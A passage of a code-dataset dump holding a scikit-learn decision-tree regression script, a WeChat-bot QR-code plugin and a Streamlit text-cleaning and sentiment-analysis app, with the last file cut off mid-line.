{"api_name": "mensajes.models.Aviso.objects.filter", "line_number": 261, "usage_type": "call"}, {"api_name": "mensajes.models.Aviso.objects", "line_number": 261, "usage_type": "attribute"}, {"api_name": "mensajes.models.Aviso", "line_number": 261, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 269, "usage_type": "call"}, {"api_name": "mensajes.models.Aviso.objects.filter", "line_number": 276, "usage_type": "call"}, {"api_name": "mensajes.models.Aviso.objects", "line_number": 276, "usage_type": "attribute"}, {"api_name": "mensajes.models.Aviso", "line_number": 276, "usage_type": "name"}, {"api_name": "autenticar.control_acceso.permiso_required", "line_number": 265, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 289, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 290, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 292, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 298, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 299, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 301, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 307, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 309, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 311, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 321, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 323, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 325, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 334, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 336, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 338, "usage_type": "call"}, {"api_name": "entidades.models.Gauser_extra.objects.get", "line_number": 344, "usage_type": "call"}, {"api_name": "entidades.models.Gauser_extra.objects", "line_number": 344, "usage_type": "attribute"}, {"api_name": "entidades.models.Gauser_extra", "line_number": 344, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 361, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 362, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 364, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 281, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 406, "usage_type": "call"}, {"api_name": "mensajes.models.Aviso.objects.filter", "line_number": 415, "usage_type": "call"}, {"api_name": "mensajes.models.Aviso.objects", "line_number": 415, "usage_type": "attribute"}, {"api_name": "mensajes.models.Aviso", "line_number": 415, "usage_type": "name"}, {"api_name": "requests.Session", "line_number": 422, "usage_type": "call"}, {"api_name": "domotica.mqtt.client.publish", "line_number": 431, "usage_type": "call"}, {"api_name": "domotica.mqtt.client", "line_number": 431, "usage_type": "name"}, {"api_name": "domotica.mqtt.client.publish", "line_number": 434, "usage_type": "call"}, {"api_name": "domotica.mqtt.client", "line_number": 434, "usage_type": "name"}, {"api_name": "vut.models.Vivienda.objects.filter", "line_number": 454, "usage_type": "call"}, {"api_name": "vut.models.Vivienda.objects", "line_number": 454, "usage_type": "attribute"}, {"api_name": "vut.models.Vivienda", "line_number": 454, "usage_type": "name"}, {"api_name": "vut.views.viviendas_autorizado", "line_number": 456, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 457, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 460, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 462, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 471, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 473, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 475, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 477, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 483, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 485, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 487, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 496, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 498, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 500, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 507, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 509, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 511, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 518, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 520, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 522, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 530, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 532, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 534, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 538, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 541, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 544, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 546, "usage_type": "call"}, {"api_name": "domotica.mqtt.client.publish", "line_number": 550, "usage_type": "call"}, {"api_name": "domotica.mqtt.client", "line_number": 550, "usage_type": "name"}, {"api_name": "domotica.mqtt.client.publish", "line_number": 553, "usage_type": "call"}, {"api_name": "domotica.mqtt.client", "line_number": 553, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 555, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 557, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 559, "usage_type": "call"}, {"api_name": "vut.models.Vivienda.objects.filter", "line_number": 563, "usage_type": "call"}, {"api_name": "vut.models.Vivienda.objects", "line_number": 563, "usage_type": "attribute"}, {"api_name": "vut.models.Vivienda", "line_number": 563, "usage_type": "name"}, {"api_name": "vut.views.viviendas_autorizado", "line_number": 565, "usage_type": "call"}, {"api_name": "vut.models.DomoticaVUT.objects.get_or_create", "line_number": 568, "usage_type": "call"}, {"api_name": "vut.models.DomoticaVUT.objects", "line_number": 568, "usage_type": "attribute"}, {"api_name": "vut.models.DomoticaVUT", "line_number": 568, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 575, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 577, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 579, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 579, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 580, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 580, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 581, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 582, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 588, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 590, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 592, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 598, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 600, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 606, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 608, "usage_type": "call"}, {"api_name": "django.utils.timezone.make_aware", "line_number": 612, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 612, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 612, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 612, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 614, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 616, "usage_type": "call"}, {"api_name": "django.utils.timezone.make_aware", "line_number": 620, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 620, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 620, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 620, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 622, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 624, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 629, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 631, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 443, "usage_type": "call"}, {"api_name": "django.utils.timezone.make_aware", "line_number": 635, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 635, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 635, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 635, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 641, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 643, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 645, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 651, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 659, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 661, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 663, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 665, "usage_type": "call"}]}
{"seq_id": "31206944840", "text": "from sklearn.tree import DecisionTreeRegressor\nimport pandas as pd\nimport pickle\nfrom datetime import datetime\nfrom sklearn.model_selection import train_test_split\nimport csv\nimport numpy as np\n\nN = 1000\nmodelFile = 'XTX_Save_Model//trained_model' + str(N) + '.sav'\nsplitSize = 0.7\nX = []\ny = []\ntrain_x = []\ntest_x = []\ntrain_y = []\ntest_y = []\n\n\ndef print_TXT(timespend1, modelscore1):\n    global N, splitSize\n\n    printText = \"Desicion Tree Model SkLearn \\n \" \\\n                \"Time spend: \" + str(timespend1) + \"\\n \" \\\n                   \"Model Score: \" + str(modelscore1) + \"\\n \" \\\n                     \"Split Size: \" + str(splitSize) + \"\\n \" \\\n                        \"N: \" + str(N) + \"\\n \"\n\n    filepath = open(\"XTX_DT_REG_Results//Score\" + str(N) + \".txt\", \"w+\")\n    filepath.write(printText)\n    filepath.close()\n\n\ndef load_data():\n    global train_x, test_x, train_y, test_y, X, y, N, splitSize\n\n    filepath = \"Data//XTXData{}K.csv\".format(str(N/1000))\n\n    with open(filepath, 'r') as f:\n        global dataset, headers\n        reader = csv.reader(f, delimiter=',')\n        headers = next(reader)\n        dataset = list(reader)\n        dataset = np.array(dataset).astype(float)\n        dataset = np.nan_to_num(dataset)\n\n    print(\"Data Loaded\")\n    print(datetime.now() - startTime)\n\n    y = dataset.iloc[:, 60].astype(float)\n    X = dataset.iloc[:, 0:60].astype(float)\n    print(X.shape)\n    print(y.shape)\n    print(\"\")\n\n    (train_x, test_x, train_y, test_y) = \\\n        train_test_split(X, y, train_size=splitSize, random_state=1)\n\n    print(\"Data Splited\")\n    print(datetime.now() - startTime)\n    print(\"Train Data\")\n    print(train_y.shape)\n    print(train_x.shape)\n    print(\"Test Data\")\n    print(test_y.shape)\n    print(test_x.shape)\n    print(\"\")\n\n\ndef regmodel():\n    global test_x, test_y, X, y\n    # create a regressor object\n    regressor = DecisionTreeRegressor(random_state=0, min_samples_leaf=3)\n    print(\"Model created\")\n    print(datetime.now() - startTime)\n    print(\"\")\n\n    # fit the regressor with X and Y data\n\n    regressor.fit(train_x, train_y)\n    # regressor.fit(X, y)\n\n    print(\"Trained\")\n    print(datetime.now() - startTime)\n    print(\"\")\n\n    ModelScore = regressor.score(test_x, test_y)\n    print(\"Accuracy: \", ModelScore)\n    # print(\"Accuracy: \", regressor.score(X, y))\n    timeSpend = datetime.now() - startTime\n\n    #Saves model on .sav file\n    pickle.dump(regressor, open(modelFile, 'wb'))\n\n    print_TXT(timeSpend, ModelScore)\n\n    print(\"\")\n\ndef numpy_predictor():\n    global modelFile\n    load_Regresor = pickle.load(open(modelFile, 'rb'))\n\n    N = 5000\n    filepath = \"Data//XTXData{}K.csv\".format(str(N/1000))\n    dataset = pd.read_csv(filepath)\n    dataset.fillna(0, inplace=True)\n\n    y = dataset.iloc[:, 60].astype(float)\n    X = dataset.iloc[:, 0:60].astype(float)\n\n    X_Np = X.to_numpy()\n    #X_Np = X.as_matrix()\n\n    print(\"Data Loaded\")\n    print(datetime.now() - startTime)\n    print(\"\")\n\n    sumA = 0\n    sumB = 0\n\n    for i in range(0, N):\n        if (i % 100000) == 0:\n            print(\"Checking \" + str(i))\n            print(datetime.now() - startTime)\n            print(\"\")\n\n        newX = [X_Np[i, :]]\n        realY = y.iloc[i]\n\n        newY = load_Regresor.predict(newX)\n        newY = newY[0]\n\n        sumA = sumA + (realY - newY) ** 2\n        sumB = sumB + realY ** 2\n\n    modelScore = 1 - (sumA / sumB)\n\n    print(\"Model Score \\n is: \" + str(modelScore))\n    print(datetime.now() - startTime)\n    print(\"\")\n\n    timeSpend = datetime.now() - startTime\n    print_TXT(timeSpend, modelScore)\n\n\ndef main_predictor():\n    global modelFile\n    load_Regresor = pickle.load(open(modelFile, 'rb'))\n\n    N = 1000000\n    filepath = \"Data//XTXData{}K.csv\".format(str(N/1000))\n    dataset = pd.read_csv(filepath)\n    dataset.fillna(0, inplace=True)\n\n    y = dataset.iloc[:, 60].astype(float)\n    X = dataset.iloc[:, 0:60].astype(float)\n\n    print(\"Data Loaded\")\n    print(datetime.now() - startTime)\n    print(\"\")\n\n    sumA = 0\n    sumB = 0\n\n    for i in range(0, N):\n        if (i % 100000) == 0:\n            print(\"Checking \"+str(i))\n            print(datetime.now() - startTime)\n            print(\"\")\n\n        newX = [X.iloc[i, :]]\n        realY = y.iloc[i]\n\n        newY = load_Regresor.predict(newX)\n        newY = newY[0]\n\n        sumA = sumA + (realY - newY) ** 2\n        sumB = sumB + realY ** 2\n\n    modelScore = 1 - (sumA / sumB)\n\n    print(\"Model Score \\n is: \" + str(modelScore))\n    print(datetime.now() - startTime)\n    print(\"\")\n\n    timeSpend = datetime.now() - startTime\n    print_TXT(timeSpend, modelScore)\n\ndef plot_tree():\n    from sklearn.tree import export_graphviz\n    load_regresor = pickle.load(open(modelFile, 'rb'))\n    print(\"Model loaded\")\n    print(datetime.now() - startTime)\n    print(\"\")\n\n    export_graphviz(load_regresor, out_file='tree_XTX_Model.dot')\n    print(\"Model plotted\")\n    print(datetime.now() - startTime)\n    print(\"\")\n\ndef main_train():\n    load_data()\n    regmodel()\n    numpy_predictor()\n\n\nstartTime = datetime.now()\nprint(\"Script Start\")\n\nload_data()\n#main_train()\n#plot_tree()\n#main_predictor()\n#numpy_predictor()\n\nprint(datetime.now() - startTime)\n", "repo_name": "mrodriguez1212/XTXChallenge", "sub_path": "XTX_DT_Reg_NP.py", "file_name": "XTX_DT_Reg_NP.py", "file_ext": "py", "file_size_in_byte": 5170, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "csv.reader", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.nan_to_num", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "name"}, {"api_name": "sklearn.tree.DecisionTreeRegressor", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 75, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 84, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 90, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 93, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 101, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 105, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 115, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 115, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 124, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 124, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 139, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 139, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 142, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 142, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 148, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 152, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 159, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 159, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 168, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 168, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 183, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 183, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 186, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 186, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 191, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 193, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 193, "usage_type": "name"}, {"api_name": "sklearn.tree.export_graphviz", "line_number": 196, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 198, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 198, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 207, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 207, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 216, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 216, "usage_type": "name"}]}
{"seq_id": "2771237288", "text": "#此代码无法正常使用\n\n\nimport httpx,os\nfrom io import BytesIO\nfrom PIL import Image\n\nfrom more_action import send_msg\nfrom action_sql import plugins_sql, qu_key\ndef get(text):\n    req=httpx.post(\"https://api.xingzhige.com/API/Qrcode/\",data={\"text\":text})\n    print(req.content)\n    image=Image.open(BytesIO(req.content))\n    fileName=\"qrcode_cache\"+'.'+image.format.lower()\n    cache=os.path.join(os.getcwd(),\"cache\",fileName)\n    with open(cache,'wb') as f:\n        f.write(req.content)\n    return cache\n\ndef main(l):\n    text=l[\"qu\"][8:]\n    wxid=l[\"wxid\"]\n    cache=get(text)\n    send_msg(wxid,cache,3)\n    \nif __name__==\"__main__\":\n    plugins_sql.inf(\"qrcode\",0.01,\"zwx08\",\"生成qrcode\")\n    qu_key.write(\"qrcode\",\"&qrcode\",1,\"{plugin}.main\",1)", "repo_name": "zwx08/Chino-wechat-bot", "sub_path": "plugins/qrcode.py", "file_name": "qrcode.py", "file_ext": "py", "file_size_in_byte": 758, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "httpx.post", "line_number": 11, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 13, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 13, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 15, "usage_type": "call"}, {"api_name": "more_action.send_msg", "line_number": 24, "usage_type": "call"}, {"api_name": "action_sql.plugins_sql.inf", "line_number": 27, "usage_type": "call"}, {"api_name": "action_sql.plugins_sql", "line_number": 27, "usage_type": "name"}, {"api_name": "action_sql.qu_key.write", "line_number": 28, "usage_type": "call"}, {"api_name": "action_sql.qu_key", "line_number": 28, "usage_type": "name"}]}
{"seq_id": "7270232901", "text": "import pandas as pd \nimport streamlit as st\nimport pandas as pd\nimport io\nimport numpy as np\nimport zipfile\nimport base64\nimport os\nfrom pandas_profiling import ProfileReport\nfrom streamlit_pandas_profiling import st_profile_report\nimport neattext as nt\nfrom autocorrect import Speller\nimport spacy\nen_core = spacy.load('en_core_web_sm')\nspell = Speller(lang='en')\nimport plotly.express as px\nfrom PIL import Image\nfrom textblob import TextBlob, Word\nfrom textblob import TextBlob\nfrom streamlit_option_menu import option_menu\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nimport plotly.graph_objects as go\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom io import StringIO\nfrom wordcloud import WordCloud \nfrom matplotlib import colors         \nfrom nltk.corpus import stopwords           \ncolor_list=['#4d4d4d','#ffcc00','#000000',]            \ncolormap=colors.ListedColormap(color_list)            \nimport matplotlib.pyplot as plt            \n            \n            \n\n\n\n\ndef main_page():\n    st.markdown(\"# Main page 🎈\")\n    st.sidebar.markdown(\"# Main page 🎈\")\n    \ndef page2():\n    st.markdown(\"# Filter 🎈\")\n    st.sidebar.markdown(\"# Filter Text 🎈\")\n\n\n    multiple_files = st.file_uploader(\" \",type=\"csv\", accept_multiple_files=True)\n    for file in multiple_files:\n        df = pd.read_csv(file)\n        file.seek(0)\n    \n        gb = GridOptionsBuilder.from_dataframe(df)\n        gb.configure_pagination(paginationAutoPageSize=True) #Add pagination\n        gb.configure_side_bar() #Add a sidebar\n        gb.configure_selection('multiple') #Enable multi-row selection\n        gridOptions = gb.build()\n\n        grid_response = AgGrid(\n            df,\n            gridOptions=gridOptions,\n            data_return_mode='AS_INPUT', \n            update_mode='MODEL_CHANGED', \n            fit_columns_on_grid_load=False,\n            theme='blue', #Add theme color to the table\n            enable_enterprise_modules=True,\n            height=600, \n            width='100%',\n            reload_data=True\n        )\n\n\n\n        data = grid_response['data']\n        selected = grid_response['selected_rows'] \n        df = pd.DataFrame(selected) #Pass the selected rows to a new dataframe df\n        \n        ###################################################################\n\ndef page3():\n    st.markdown(\"# Merge  ❄️\")\n    st.sidebar.markdown(\"# Merge Files ❄️\")\n    \n    # Excel file merge function\n    def excel_file_merge(zip_file_name):\n        df = pd.DataFrame()\n        archive = zipfile.ZipFile(zip_file_name, 'r')\n        with zipfile.ZipFile(zip_file_name, \"r\") as f:\n            for file in f.namelist():\n              xlfile = archive.open(file)\n              if file.endswith('.xlsx'):\n                # Add a note indicating the file name that this dataframe originates from\n                df_xl = pd.read_excel(xlfile, engine='openpyxl')\n                df_xl['Note'] = file\n                # Appends content of each Excel file iteratively\n                df = df.append(df_xl, ignore_index=True)\n        return df\n\n    # Upload CSV data\n    with st.sidebar.header('1. Upload your ZIP file'):\n        uploaded_file = st.sidebar.file_uploader(\"Excel-containing ZIP file\", type=[\"zip\"])\n    \n\n    # File download\n    def filedownload(df):\n        csv = df.to_csv(index=False)\n        b64 = base64.b64encode(csv.encode()).decode()  # strings <-> bytes conversions\n        href = f'<a href=\"data:file/csv;base64,{b64}\" download=\"merged_file.csv\">Download Merged File as CSV</a>'\n        return href\n\n\n    # Main panel\n    if st.sidebar.button('Submit'):\n        #@st.cache\n        df = excel_file_merge(uploaded_file)\n        st.header('**Merged data**')\n        st.write(df)\n        st.markdown(filedownload(df), unsafe_allow_html=True)\n    else:\n        st.info('Awaiting for ZIP file to be uploaded.')\n        \n        ########################################################################\n\ndef page4():\n    st.markdown(\"# Profiling Report 🎉\")\n    st.sidebar.markdown(\"# Profiling Report 🎉\")\n\n    # Upload CSV data\n    with st.sidebar.header('Upload your CSV data'):\n        uploaded_file = st.sidebar.file_uploader(\" \", type=[\"csv\"])\n        st.sidebar.markdown(\"\"\"\n\n    \"\"\")\n\n    # Pandas Profiling Report\n    if uploaded_file is not None:\n        @st.cache\n        def load_csv():\n            csv = pd.read_csv(uploaded_file)\n            return csv\n        df = load_csv()\n        pr = ProfileReport(df, explorative=True)\n        st.header('**Input DataFrame**')\n        st.write(df)\n        st.write('---')\n        st.header('**Pandas Profiling Report**')\n        st_profile_report(pr)\n    else:\n        st.info('Awaiting for CSV file to be uploaded.')\n            # Example data\n        @st.cache\n        def load_data():\n            df = load_data()\n            pr = ProfileReport(df, explorative=True)\n            st.header('**Input DataFrame**')\n            st.write(df)\n            st.write('---')\n            st.header('**Pandas Profiling Report**')\n            st_profile_report(pr)\n            \n            ##################################################################\n    \ndef page5():\n    st.markdown(\"# Renaming Columns 🎉\")\n    st.sidebar.markdown(\"# Renaming Columns 🎉\")\n    \n    text_file = st.file_uploader(\"Upload CSV File\", type=['csv'])\n    if text_file is not None:\n        df= pd.read_csv(text_file)\n        st.write(df)\n\n        with st.form(key=\"form\"):\n            col_to_change = st.selectbox(\"Column to change\", df.columns)\n            new_col_name = st.text_input(\"New name\", value=\"\")\n            submit_button = st.form_submit_button(label='Rename')\n\n        if submit_button:\n            df = df.rename(columns={col_to_change: new_col_name})\n\n            st.write(df)\n            clean_text = df['Text']\n               \n            st.download_button(label='Download Dataset',data=clean_text.to_csv(),file_name='renamedfile.csv',mime='text/csv')\n\n        #####################################################################\n        \ndef page6():\n    st.markdown(\"# Text Cleaner 3 🎉\")\n    st.sidebar.markdown(\"# Clean text 🎉\")\n    \n    def main():\n            \n        text_file = st.file_uploader(\"Upload CSV File\",type=['csv']) \n \n        if text_file is not None:\n            cleanerdf= pd.read_csv(text_file)\n            cleanerdf['Cleaned_Text'] = cleanerdf['Text'].apply(str.lower)\n            cleanerdf[\"Cleaned_Text\"] = cleanerdf['Cleaned_Text'].apply(lambda x: \" \".join([y.lemma_ for y in en_core(x)]))\n        \n            cdf1 = cleanerdf.copy()\n        \n            cdf1['Cleaned_Text'] = [' '.join([spell(i) for i in x.split()]) for x in cdf1['Cleaned_Text']]\n            cdf1['Cleaned_Text'] = cdf1['Cleaned_Text'].apply(nt.remove_punctuations)\n            cdf1['Cleaned_Text'] = cdf1['Cleaned_Text'].apply(nt.remove_numbers)\n            cdf1['Cleaned_Text'] = cdf1['Cleaned_Text'].apply(nt.remove_special_characters)\n            cdf1['Cleaned_Text'] = cdf1['Cleaned_Text'].apply(nt.remove_dates)\n            cdf1['Cleaned_Text'] = cdf1['Cleaned_Text'].apply(nt.remove_emojis)\n            cdf1['Cleaned_Text'] = cdf1['Cleaned_Text'].apply(nt.remove_stopwords)\n      \n            st.write(cdf1)\n            clean_text = cdf1['Cleaned_Text']\n\n    \n            st.download_button(label='Download Cleaned Text',data=clean_text.to_csv(),file_name='cleantext.csv',mime='text/csv')\n            \n        \n    if __name__ == '__main__':\n        main()\n        \n                #####################################################################\n\n        \ndef page7():\n    st.markdown(\"# Word Frequency 🎉\")\n    st.sidebar.markdown(\" \")\n    \n            \n    text_file = st.file_uploader(\"Upload CSV File\",type=['csv'])\n\n    col1, col2 = st.columns(2)\n\n    with col1:\n        if text_file is not None:\n            st.markdown('''\n            # **Cleaned Text**\n            ---\n            ''')        \n            wdf= pd.read_csv(text_file)\n            col1.write(wdf)\n      \n            wdf[\"text\"] = wdf['Cleaned_Text']\n            new_df = wdf.text.str.split(expand=True).stack().value_counts().reset_index()\n            new_df.columns = ['Word', 'Frequency'] \n            col1.write(new_df)\n        \n            st.download_button(label='Download Word Count' ,data=new_df.to_csv(),file_name='words.csv',mime='text/csv')      \n                                  \n\n            with col2:\n                st.markdown('''\n                # **Word Frequency Graph**\n                ---\n                ''')\n                fig = px.bar(        \n                new_df,\n                x = \"Frequency\",\n                y = \"Word\",\n                color=\"Frequency\", width=800, height=1000,\n                orientation = 'h' #Optional Parameter\n                )\n                fig.update_layout(yaxis={'categoryorder':'total ascending'})\n                st.plotly_chart(fig)\n            \n\n            st.markdown('''\n            # **Word Cloud**\n            ---\n            ''')\n\n            from wordcloud import WordCloud \n            from matplotlib import colors\n            from nltk.corpus import stopwords\n            color_list=['#4d4d4d','#ffcc00','#000000',]\n            colormap=colors.ListedColormap(color_list)\n            import matplotlib.pyplot as plt\n    \n            new_df2 =  new_df.copy()\n\n            mask = np.array(Image.open(\"bee.png\"))\n            words = ' '.join([Word for Word in new_df2['Word']])\n            wordCloud = WordCloud(background_color=None, colormap='OrRd', min_font_size=4, max_font_size=100, width=3000, height=800, mask=mask, mode = 'RGB').generate(words)\n            plt.figure(figsize=(50, 50), facecolor='k')\n            plt.imshow(wordCloud, interpolation='bilinear')\n            plt.axis(\"off\")\n            st.pyplot()\n            \n                    #####################################################################\n\n            \ndef page8():\n    st.markdown(\"# Sentiment Analyzer 🎉\")\n    st.sidebar.markdown(\"# Text Sentiments 🎉\")    \n        \n  \n    #adding a file uploader\n\n    file = st.file_uploader(\"Please choose a file\")\n\n    if file is not None:\n        df= pd.read_csv(file)\n        #Can be used wherever a \"file-like\" object is accepted:\n\n        df['Polarity'] = df.apply(lambda x: TextBlob(x['Cleaned_Text']).sentiment.polarity, axis=1)\n        df['Subjectivity'] = df.apply(lambda x: TextBlob(x['Cleaned_Text']).sentiment.subjectivity, axis=1)\n    \n        def condition(x):\n            if x>0.01:\n                return \"Positive\"\n            elif x<0:\n                return \"Negative\"\n            else:\n                return 'Neutral'\n    \n        df['Sentiment'] = df['Polarity'].apply(condition)\n    \n        st.write(df)\n        st.download_button(label='Download Sentiment Report ',data=df.to_csv(),file_name='sentiments.csv',mime='text/csv')\n\n        col1, col2 = st.columns(2)\n \n        with col1:    \n            col1.header = \"Sentiment\"\n            st.title = 